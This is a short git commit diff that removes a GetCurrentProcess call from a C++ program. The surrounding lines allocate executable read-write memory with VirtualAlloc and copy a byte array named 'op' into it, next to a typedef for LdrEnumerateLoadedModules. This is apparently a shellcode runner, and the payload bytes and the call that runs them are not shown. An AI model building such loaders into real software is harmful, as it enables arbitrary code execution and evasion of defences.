removed unnecessary getcurrentprocess op

This commit is contained in:
S4R1N
2021-03-30 16:10:08 -04:00
parent f82372e2d1
commit af0464c02d
@@ -81,8 +81,6 @@ typedef NTSTATUS(__stdcall* _LdrEnumerateLoadedModules)(
int main() {
HANDLE hProcess = ::GetCurrentProcess();
LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(address, &op[0], sizeof(op));